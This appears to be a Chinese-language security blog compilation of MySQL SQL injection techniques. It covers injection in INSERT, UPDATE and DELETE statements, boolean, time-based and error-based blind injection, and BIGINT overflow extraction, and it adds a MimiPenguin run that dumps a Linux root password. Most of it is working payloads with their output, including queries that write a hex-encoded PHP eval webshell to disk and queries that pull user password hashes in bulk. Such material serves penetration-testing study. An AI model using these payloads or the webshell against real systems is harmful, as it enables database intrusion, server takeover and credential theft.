测试表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
+----+----------+----------------+
2 rows in set (0.00 sec)

insert


使用逻辑运算符(and or xor && ||)连接如下:
需要注意如果使用And或者&&的话,这里分为两种情况
1)存在注入的字段为字符型。

insert : insert into users values (1,'{injecthere}','password');

那么逻辑运算符不能使用and和&&,可以使用or || xor , 因为字符型在进行逻辑运算时会当做0来处理,所以无法执行and后的sleep。

mysql> insert into users values (5,'name' and sleep(2),'pass');
Query OK, 1 row affected, 1 warning (0.00 sec)

可以看到没有延迟。

2)存在注入的字段为Int型。

insert into users values ({injecthere},'Vinc','password');

这里可以使用and && || or xor。
需要注意如果逻辑运算符使用And或者&&,那么注入的数不能为0。

mysql> insert into users values (-1 and sleep(2),'vinc','password');
Query OK, 1 row affected (2.00 sec)

可以看到延迟2S。

mysql> insert into users values (0 and sleep(2),'vinc','password');
Query OK, 1 row affected (0.00 sec)

可以看到没有延迟。

一般建议使用or || xor测试

mysql> insert into users values (18,'vinc' xor sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

 

使用算数运算符(+ – * /)连接如下

mysql> insert into users values (4,'name'+sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (8,'name'*sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> select * from users where id = 8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | 0 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

这里插入的username为0

 

使用位运算符连接(| &)如下

mysql> insert into users values (12,'vinc' | sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (13,'vinc' & sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

update


和insert的用法相同。

update users set username = '{injecthere}' where id = 1;

mysql> update users set password = 'Vinc' or sleep(2) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql> update users set password = 'Vinc' or if(ord(substr(version()from(1)for(1)))=53,sleep(2),1) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1

delete


delete : delete from users where id > {injecthere} ;

delete的注入位置位于where后所以和select是一样的。

mysql> delete from users where id = 5 and sleep(2);
Query OK, 0 rows affected (2.00 sec)

因为sleep()函数返回0,所以这里无法删除成功。

参考文章


https://osandamalith.com/2017/03/13/mysql-blind-injection-in-insert-and-update-statements/

算数运算符



mysql> select 1+2;

mysql> select 2-1;

mysql> select 2*3;

mysql> select 5/3;

mysql> SELECT 5 DIV 2;

mysql> select 5%2,mod(5,2);

比较运算符


等于
mysql> select 1=0,1=1,null=null;
不等于
mysql> select 1<>0,1<>1,null<>null;
安全等于
mysql> select 1<=>1,2<=>0,0<=>0,null<=>null;
小于
mysql> select ‘a'<‘b’,’a'<‘a’,’a'<‘c’,1<2;
小于等于
mysql> select ‘bdf'<=’b’,’b'<=’b’,0<1;
大于
mysql> select ‘a’>’b’,’abc’>’a’,1>0;
大于等于
mysql> select ‘a’>=’b’,’abc’>=’a’,1>=0,1>=1;
BETWEEN
mysql> select 10 between 10 and 20, 9 between 10 and 20;
IN
mysql> select 1 in (1,2,3), ‘t’ in (‘t’,’a’,’b’,’l’,’e’), 0 in (1,2);
IS NULL
mysql> select 0 is null,null is null;
IS NOT NULL
mysql> select 0 is not null, null is not null;
LIKE
mysql> select 123456 like ‘123%’, 123456 like ‘%123%’, 123456 like ‘%321%’;
REGEXP
mysql> select ‘abcdef’ regexp ‘ab’, ‘abcdefg’ regexp ‘k’;

逻辑运算符



mysql> select not 0, not 1, not null;
mysql> select ! 0, ! 1, ! null;

mysql> select (1 and 1), (0 and 1), (3 and 1), (1 and null);
mysql> select (1 && 1), (0 && 1), (3 && 1), (1 && null);

mysql> select (1 or 0), (0 or 0), (1 or null), (1 or 1), (null or null);
mysql> select (1 || 0), (0 || 0), (1 || null), (1 || 1), (null || null);
异或
mysql> select (1 xor 1), (0 xor 0), (1 xor 0), (0 xor 1), (null xor 1);
两者满足其一,不同时满足。

位运算符


位与
mysql> select 2&3;
mysql> select 2&3&4;
参加运算的两个数据,按二进制位进行“与”运算。
运算规则:0&0=0; 0&1=0; 1&0=0; 1&1=1;
即:两位同时为“1”,结果才为“1”,否则为0
例如:3&5 即 0000 0011 & 0000 0101 = 0000 0001 因此,3&5的值得1。

位或
mysql> select 2|3;
参加运算的两个对象,按二进制位进行“或”运算。
运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;
即 :参加运算的两个对象只要有一个为1,其值为1。
例如:3|5 即 0000 0011 | 0000 0101 = 0000 0111 因此,3|5的值得7。

位异或
mysql> select 2^3;
参加运算的两个数据,按二进制位进行“异或”运算。
运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;
即:参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为0。

位取反
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)

位右移
mysql> select 100>>3;
将一个运算对象的各二进制位全部右移若干位,a >> 2 将a的二进制位右移2位,右边丢弃。
mysql> select 9 >> 2 ;
+——–+
| 9 >> 2 |
+——–+
| 2 |
+——–+
1 row in set (0.00 sec)

位左移
mysql> select 100<<3;
将一个运算对象的各二进制位全部左移若干位,a << 2 将a的二进制位左移2位,右补0。
mysql> select 3 << 2 ;
+——–+
| 3 << 2 |
+——–+
| 12 |
+——–+
1 row in set (0.00 sec)

运算符优先级顺序


最高优先级 :=
1 ||, OR, XOR
2 &&, AND
3 BETWEEN, CASE, WHEN, THEN, ELSE
4 =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
5 |
6 &
7 <<, >>
8 -, +
9 *, /, DIV, %, MOD
10 ^
11 – (unary minus), ~ (unary bit inversion)
12 !, NOT
最低优先级 BINARY, COLLATE

从当前的登录的Linux桌面用户Dump密码,与Windows下工具mimikatz类似。
前提是需要Root权限。
测试通过的系统:

Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)

在Kali下测试

root@kali-vincent:/tmp# uname -a
Linux kali-vincent 4.0.0-kali1-amd64 #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) x86_64 GNU/Linux
root@kali-vincent:/tmp# ./pass.sh 
007ca000-0088a000
7f86970e4000-7f86978e4000
7f86978e5000-7f86980e5000
7fff18c61000-7fff18c82000
7f33ef00f000-7f33ef019000
7f33ef218000-7f33ef219000
7f33ef219000-7f33ef21a000
7f33ef21a000-7f33ef21d000
7f33ef41c000-7f33ef41d000
7f33ef41d000-7f33ef41e000
7f33ef41e000-7f33ef423000
7f33ef622000-7f33ef623000
7f33ef623000-7f33ef624000
7f33ef624000-7f33ef626000
7f33ef825000-7f33ef826000
7f33ef826000-7f33ef827000
7f33ef827000-7f33ef828000
7f33efa28000-7f33efa29000
7f33efa29000-7f33efa2a000
7f33efa2a000-7f33efa2e000
7f33efc2d000-7f33efc2e000
7f33efc2e000-7f33efc2f000
7f33efc2f000-7f33efc32000
7f33efe31000-7f33efe32000
7f33efe32000-7f33efe33000
7f33efe33000-7f33efe3a000
7f33f0039000-7f33f003a000
7f33f003a000-7f33f003b000
7f33f003b000-7f33f003f000
7f33f023e000-7f33f023f000
7f33f023f000-7f33f0240000
7f33f0240000-7f33f0274000
7f33f0473000-7f33f0476000
7f33f0476000-7f33f0477000
7f33f0477000-7f33f0479000
7f33f0678000-7f33f0679000
7f33f0679000-7f33f067a000
7f33f067a000-7f33f067c000
7f33f087b000-7f33f087c000
7f33f087c000-7f33f087d000
7f33f087d000-7f33f0881000
7f33f0a80000-7f33f0a81000
7f33f0a81000-7f33f0a82000
7f33f0a82000-7f33f0a83000
7f33f0c83000-7f33f0c84000
7f33f0c84000-7f33f0c85000
7f33f0c85000-7f33f0c86000
7f33f0e85000-7f33f0e86000
7f33f0e86000-7f33f0e87000
7f33f0e87000-7f33f0e88000
7f33f1087000-7f33f1088000
7f33f1088000-7f33f1089000
7f33f1089000-7f33f1097000
7f33f1296000-7f33f1297000
7f33f1297000-7f33f1298000
7f33f1298000-7f33f12a4000
7f33f12a4000-7f33f12a9000
7f33f14a8000-7f33f14a9000
7f33f14a9000-7f33f14aa000
7f33f14aa000-7f33f14ac000
7f33f16ab000-7f33f16ac000
7f33f16ac000-7f33f16ad000
7f33f16ad000-7f33f16b0000
7f33f18af000-7f33f18b0000
7f33f18b0000-7f33f18bb000
7f33f1aba000-7f33f1abb000
7f33f1abb000-7f33f1abc000
7f33f1abc000-7f33f1ac6000
7f33f1cc5000-7f33f1cc6000
7f33f1cc6000-7f33f1cc7000
7f33f1cc7000-7f33f1cce000
7f33f1ecd000-7f33f1ece000
7f33f1ece000-7f33f1ecf000
7f33f1ecf000-7f33f1ee7000
7f33f20e6000-7f33f20e7000
7f33f20e7000-7f33f20e8000
7f33f20e8000-7f33f20ec000
7f33f20ec000-7f33f2100000
7f33f22ff000-7f33f2300000
7f33f2300000-7f33f2301000
7f33f2301000-7f33f2303000
7f33f2303000-7f33f2306000
7f33f2505000-7f33f2506000
7f33f2506000-7f33f2507000
7f33f2507000-7f33f2512000
7f33f2711000-7f33f2712000
7f33f2712000-7f33f2713000
7f33f2713000-7f33f2741000
7f33f2940000-7f33f2942000
7f33f2942000-7f33f2943000
7f33f2943000-7f33f2944000
7f33f2944000-7f33f29b0000
7f33f2bb0000-7f33f2bb1000
7f33f2bb1000-7f33f2bb2000
7f33f2bb2000-7f33f2bb5000
7f33f2db4000-7f33f2db5000
7f33f2db5000-7f33f2db6000
7f33f2db6000-7f33f2dd0000
7f33f2fcf000-7f33f2fd1000
7f33f2fd1000-7f33f2fd2000
7f33f2fd2000-7f33f2fdc000
7f33f2fdc000-7f33f2ff1000
7f33f31f0000-7f33f31f1000
7f33f31f1000-7f33f31f2000
7f33f31f2000-7f33f31f4000
7f33f31f4000-7f33f3393000
7f33f3593000-7f33f3597000
7f33f3597000-7f33f3599000
7f33f3599000-7f33f359d000
7f33f359d000-7f33f35a0000
7f33f379f000-7f33f37a0000
7f33f37a0000-7f33f37a1000
7f33f37a1000-7f33f3865000
7f33f3a65000-7f33f3a72000
7f33f3a72000-7f33f3a75000
7f33f3a75000-7f33f3abb000
7f33f3cbb000-7f33f3cbd000
7f33f3cbd000-7f33f3cbf000
7f33f3cbf000-7f33f3cc7000
7f33f3ec6000-7f33f3ec7000
7f33f3ec7000-7f33f3ec8000
7f33f3ec8000-7f33f3ef6000
7f33f3ef6000-7f33f3f10000
7f33f410f000-7f33f4110000
7f33f4110000-7f33f4111000
7f33f4111000-7f33f4113000
7f33f4312000-7f33f4313000
7f33f4313000-7f33f4314000
7f33f4314000-7f33f44df000
7f33f46df000-7f33f46fc000
7f33f46fc000-7f33f470c000
7f33f470c000-7f33f470f000
7f33f470f000-7f33f4730000
7f33f4930000-7f33f4931000
7f33f4931000-7f33f4932000
7f33f4932000-7f33f4934000
7f33f4934000-7f33f4941000
7f33f4b41000-7f33f4b42000
7f33f4b42000-7f33f4b43000
7f33f4b43000-7f33f4b4c000
7f33f4d4b000-7f33f4d4c000
7f33f4d4c000-7f33f4d4d000
7f33f4d4d000-7f33f4d4e000
7f33f4d4e000-7f33f4d6e000
7f33f4e2e000-7f33f4f6e000
7f33f4f6e000-7f33f4f6f000
7f33f4f6f000-7f33f4f70000
7f33f4f70000-7f33f4f71000
7f33f4f71000-7f33f502d000
7f33f50c1000-7f33f5201000
7f33f5201000-7f33f520c000
7f33f522b000-7f33f522d000
7f33f522d000-7f33f5230000
7f33f5230000-7f33f5231000
7f33f5231000-7f33f523b000
7f33f62f9000-7f33f6342000
7ffefa8f0000-7ffefa911000
7ffefa950000-7ffefa952000
7ffefa952000-7ffefa954000
ffffffffff600000-ffffffffff601000
MimiPenguin Results:
[SYSTEM - GNOME] root:hehe123

下载地址:https://github.com/huntergregal/mimipenguin


参考文章:http://www.freebuf.com/sectool/131165.html

 

注释符:


#
/*

 

多条数据显示:


mysql> select group_concat(user(),version());
+--------------------------------+
| group_concat(user(),version()) |
+--------------------------------+
| root@localhost5.5.40-log |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select concat_ws(0x7e,user(),version());
+----------------------------------+
| concat_ws(0x7e,user(),version()) |
+----------------------------------+
| root@localhost~5.5.40-log |
+----------------------------------+
1 row in set (0.00 sec)

 

相关函数:


user()、system_user()、current_user 用户名
version()、@@version 版本
database() 数据库
ascii()、ord() 获取ASCII
substr()、substring()、mid() FIND_IN_SET(str,strlist) strscmp(str1,str2)提取字符

 

联合查询:


获取注入所在表的字段数:

mysql> select * from users where id = 1 order by 3;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

然后从页面中获取能够回显出来的字段

mysql> select * from users where id = 1 and 1=2 union select 1,2,concat_ws(0x7e,user(),database(),version()) ;
+----+----------+--------------------------------+
| id | username | password |
+----+----------+--------------------------------+
| 1 | 2 | root@localhost~test~5.5.40-log |
+----+----------+--------------------------------+
1 row in set (0.00 sec)

 

布尔盲注:


盲注是指数据不会直接回显到页面中,而是通过比对页面返回的不同而判断是否存在SQL注入,例如:
1)返回数据包的Content-Length是否相同
2)返回数据包的状态码是否相同,例如在一些查询中如果使用 or 1=1这样的payload就可能会造成服务端返回500以上的错误。
3)返回数据包HTTP头中的内容是否相同,这个在使用Burp时经常会有误报就是因为比对到了Set-cookie头。
逻辑运算符有and or xor && ||
比较运算符有like rlike > < = regexp in between等
通常获取数据的方式是通过ascii比对。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[a-z]';
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[1-9]';
Empty set (0.00 sec)

这里使用from for绕过对逗号的过滤。
这里也可以将正则修改为16进制。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp 0x5b612d7a5d;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

比对ascii

mysql> select * from users where id = 1 and ord(mid(version()from(1)for(1))) = 53;

find_in_set函数,如果相同则返回1 不同则返回0

mysql> select * from users where id = 1 and find_in_set(53,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and find_in_set(52,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

strcmp函数,如果两个值相同则返回0

mysql> select * from users where id = 1 and strcmp(53,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(54,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

 

时间盲注:


sleep(5)和benchmark(1000000,sha(1))

mysql> select * from users where id = 1 and if(ord(substring(version()from(1)for(1)))=53,benchmark(10000000,sha(1)),1);
Empty set (3.46 sec)

如果执行的是or sleep(2)就可能造成服务端不可用。因为不满足id = 1的条目都会sleep(2),例如:
查看当前users表存在4条。

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)
mysql> select * from users where id = 1 or if(ord(substring(version()from(1)for(1)))=53,sleep(2),1);
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (6.00 sec)

可以看到有三个条目不满足id = 1,所以延迟了6S。而如果存在数万条的话,就可能会对服务器异常。

这里需要知道的是sleep和benchmark都会返回0,所以如果使用and的话查询结果为空。

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec)

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (3.53 sec)

报错注入:


【SQL注入】报错注入姿势总结

1)无order by
可以使用union select,例如:

mysql> SELECT 1 from mysql.user limit 0,1 union select 234;
+-----+
| 1 |
+-----+
| 1 |
| 234 |
+-----+
2 rows in set (0.00 sec)

GETSHELL:

mysql> SELECT 1 from mysql.user limit 0,1 union select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e from mysql.user into outfile '/tmp/z.php';
Query OK, 2 rows affected (0.00 sec)

2)有order by
UNION语句不能在ORDER BY的后面,如下所示:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 union select 234;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY

我们可以使用PROCEDURE ANALYSE,通过分析select查询结果对现有的表的每一列给出优化的建议。

支持报错

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.1.73-log'

不支持报错,用time-based

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

注意这里不能用sleep而只能用benchmark。

GETSHELL:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E;
Query OK, 1 row affected (0.00 sec)

主键重复:

mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

mysql> select * from users where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.40-log~1' for key 'group_key'

整形溢出:

select host from user where user = 'root' and Exp(~(select * from (select version())a));
#1690 - DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

需要注意从5.5.5版本后整形溢出才会报错。


xpath处理函数(extractvalue和updatexml):

从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

这里有一点需要注意:
concat(0x5c,user())如果不加concat的话获取到的信息是不全的。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,version());
ERROR 1105 (HY000): XPATH syntax error: '.40-log'

如果concat被过滤了,可以使用其他函数代替

1)MAKE_SET(bits,str1,str2,…)

mysql> SELECT MAKE_SET(1,'a','b','c');

-> 'a'

1为0001,倒过来排序,则为1000,将bits后面的字符串str1,str2等,放置在这个倒过来的二进制排序中,取出值为1对应的字符串,则得到hello

mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');

-> 'hello,world'

1|4表示进行位或运算,为0001 | 0100,得0101,倒过来排序,为1010,则’hello’,’nice’,’world’得到的是hello word。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,make_set(3,'~',version()));

ERROR 1105 (HY000): XPATH syntax error: '~,5.5.40-log'

2)lpad()

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len’,那么它将被截除到 len个字符。

mysql> SELECT LPAD('hi',4,'??'); -> '??hi'

mysql> select * from mysql.user where user = 'root' and extractvalue(1,lpad((version()),20,'@'));

ERROR 1105 (HY000): XPATH syntax error: '@@@@@@@@@5.5.40-log'

3)repeat()

mysql> select * from mysql.user where user = 'root' and extractvalue(1,repeat((version()),2));

ERROR 1105 (HY000): XPATH syntax error: '.40-log5.5.40-log'

NAME_CONST:

mysql列名重复会报错,我们利用name_const来制造一个列。

mysql> select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'
mysql> select * from mysql.user where user = 'root' and 1=(select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x);
ERROR 1060 (42S21): Duplicate column name '5.5.40-log'

但是name_const函数要求参数必须是常量。

mysql> select NAME_CONST(user(),1),NAME_CONST(user(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select NAME_CONST(database(),1),NAME_CONST(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST

同样利用这个列不能重复的道理,使用join函数可以爆列名。

mysql> select * from(select * from user a join user b)c;
ERROR 1060 (42S21): Duplicate column name 'Host'
mysql> select * from(select * from user a join user b using(host))c;
ERROR 1060 (42S21): Duplicate column name 'User'
mysql> select * from(select * from user a join user b using(host,user))c;
ERROR 1060 (42S21): Duplicate column name 'Password'

几何函数:

例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

mysql> select multipoint((select * from (select * from (select * from (select version())a)b)c));
ERROR 1367 (22007): Illegal non geometric '(select `c`.`version()` from (select '5.5.40-log' AS `version()` from dual) `c`)' value found during parsing

Mysql测试版本如下:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.5.40-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

该报错注入的适用版本为>=5.5.5,在之前的版本中整形溢出是不会报错的,如下所示:

mysql> select @@version;
+------------+
| @@version  |
+------------+
| 5.1.73-log |
+------------+
1 row in set (0.00 sec)
mysql> select exp(~(select * from (select @@version)x));
+-------------------------------------------+
| exp(~(select * from (select @@version)x)) |
+-------------------------------------------+
|                                      NULL |
+-------------------------------------------+

1 row in set (0.00 sec)


首先看下Mysql存储整形的几种类型:

当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出了。如下所示:

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

Mysql逐位取反的特性,从0逐位取反,得到的数字也正是BIGINT中unsigned的数值范围,这个数值进行数学运算时同样会出现溢出错误。如下所示:

mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

然后就是利用Mysql子查询的一个特性,当查询结果成功返回时,返回值为0,表达式进行逻辑非运算后,返回值则为1,并且这个返回值也可以进行数学运算。

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.03 sec)
mysql> select (select * from test);
+----------------------+
| (select * from test) |
+----------------------+
| NULL                 |
+----------------------+
1 row in set (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                  NULL |
+-----------------------+
1 row in set (0.00 sec)
mysql> insert into test values ('hehe');
Query OK, 1 row affected (0.00 sec)
mysql> select !(select * from test);
+-----------------------+
| !(select * from test) |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql>  select !(select * from test)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'hehe' from dual))) + 18446744073709551615)'

获取User():

mysql> select !(select * from (select user())x)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) + ~(0))'
mysql> select (select(!x-~0)from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
mysql> select (select!x-~0.from(select(select user())x)a);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

同理,利用exp函数也会产生类似的溢出错误:

mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

既然可以通过BIGINT溢出配合子查询进行报错注入,那么就可以在实战当中获取到更多的数据:

mysql> select !x-~0 from (select (select name from test limit 0,1)x)a;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('hehe')) - ~(0))'

另外还可以一次获取多条数据,不过报错信息是有长度限制的,在mysql/my_error.c中可以看到:

/* Max length of a error message. Should be
kept in sync with MYSQL_ERRMSG_SIZE. */

#define ERRMSGSIZE (512)

获取多条数据的报错语句如下:

#select:
mysql> select !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#insert:
mysql> insert into users (user_id,user,password) values (2,'' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#update:
mysql> update users set password='root' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

#delete:
mysql> delete from users where user_id='1' or !(select*from(select(concat(@:=0,(select count(*)from`dvwa`.users where @:=concat(@,0xa,user_id,0x2d2d,user,0x2d2d,password)),@)))x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
1--admin--5f4dcc3b5aa765d61d8327deb882cf99
2--gordonb--e99a18c428cb38d5f260853678922e03
3--1337--8d3533d75ae2c3966d7e0d4fcc69216b
4--pablo--0d107d09f5bbe40cade3de5c71e9e9b7
5--smithy--5f4dcc3b5aa765d61d8327deb882cf99' from dual))) - ~(0))'

参考文章:
http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
https://xianzhi.aliyun.com/forum/read/762.html

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

